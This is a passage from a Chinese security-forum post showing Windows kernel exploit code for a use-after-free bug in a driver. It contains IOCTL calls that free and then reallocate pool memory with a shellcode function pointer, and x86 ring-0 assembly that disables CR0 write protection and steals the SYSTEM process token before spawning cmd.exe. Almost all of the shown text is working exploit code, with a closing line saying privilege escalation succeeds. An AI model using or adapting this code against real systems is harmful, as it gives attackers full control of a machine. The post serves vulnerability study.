    CONST DWORD dwFakeIoCtl = 0x222003 + 7 * 4;
 
    // 打开驱动设备
    hDevice = CreateFile(LINK_NAME,
                         GENERIC_READ | GENERIC_WRITE,
                         0,
                         NULL,
                         OPEN_EXISTING,
                         FILE_ATTRIBUTE_NORMAL,
                         0);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        ShowError("CreateFile", GetLastError());
        goto exit;
    }
 
    // 与驱动设备进行交互,分配0x58大小的内存
    DeviceIoControl(hDevice,
                    dwAllocateIoCtl,
                    NULL,
                    0,
                    NULL,
                    0,
                    &dwReturnLength,
                    NULL);
     
 
    // 与驱动设备进行交互,正常操作时候对函数的调用
    DeviceIoControl(hDevice,
                    dwUseIoCtl,
                    NULL,
                    0,
                    NULL,
                    0,
                    &dwReturnLength,
                    NULL);
 
     
    // 与驱动设备进行交互,将申请的内存块释放
    DeviceIoControl(hDevice,
                    dwFreeIoCtl,
                    NULL,
                    0,
                    NULL,
                    0,
                    &dwReturnLength,
                    NULL);
 
    char szInput[0x58] = { 0 };
 
    *(PDWORD)szInput = (DWORD)Ring0ShellCode;
    // 与驱动设备进行交互,对函数地址进行覆盖
    if (!DeviceIoControl(hDevice,
                         dwFakeIoCtl,
                         szInput,
                         0x58,
                         NULL,
                         0,
                         &dwReturnLength,
                         NULL))
    {
        ShowError("DeviceIoControl", GetLastError());
        goto exit;
    }
 
    // 与驱动设备进行交互,再次对函数进行调用
    DeviceIoControl(hDevice,
                    dwUseIoCtl,
                    NULL,
                    0,
                    NULL,
                    0,
                    &dwReturnLength,
                    NULL);
     
 
    if (g_bIsExecute)
    {
        printf("Ring0 代码执行完成
");
    }
 
    si.cb = sizeof(si);
    if (!CreateProcess(TEXT("C:\\Windows\\System32\\cmd.exe"),
                       NULL,
                       NULL,
                       NULL,
                       FALSE,
                       CREATE_NEW_CONSOLE,
                       NULL,
                       NULL,
                       &si,
                       &pi))
    {
        printf("CreateProcess Error
");
        goto exit;
    }
     
exit:
    if (hDevice) NtClose(hDevice);
    system("pause");
 
    return 0;
}
 
void ShowError(PCHAR msg, DWORD ErrorCode)
{
    printf("%s Error 0x%X
", msg, ErrorCode);
}
 
NTSTATUS Ring0ShellCode(ULONG InformationClass, ULONG BufferSize, PVOID Buffer, PULONG ReturnedLength)
{
    // 关闭页保护
    __asm
    {
        cli
        mov eax, cr0
        and eax, ~0x10000
        mov cr0, eax
    }
 
    __asm
    {
        // 取当前线程
        mov eax, fs:[0x124]
        // 取线程对应的EPROCESS
        mov esi, [eax + 0x150]
        mov eax, esi
    searchWin7:
        mov eax, [eax + 0xB8]
        sub eax, 0x0B8
        mov edx, [eax + 0xB4]
        cmp edx, 0x4
        jne searchWin7
        mov eax, [eax + 0xF8]
        mov [esi + 0xF8], eax
    }
 
    // 开起页保护
    __asm
    {
        mov eax, cr0
        or eax, 0x10000
        mov cr0, eax
        sti
    }
 
    g_bIsExecute = TRUE;
}

 

调用完成以后,程序将成功提权:

 

 


参考资料:
《漏洞战争》

 

 

看雪ID:1900

 

https://bbs.pediy.com/user-home-835440.htm

 

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

 

Be First to Comment

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注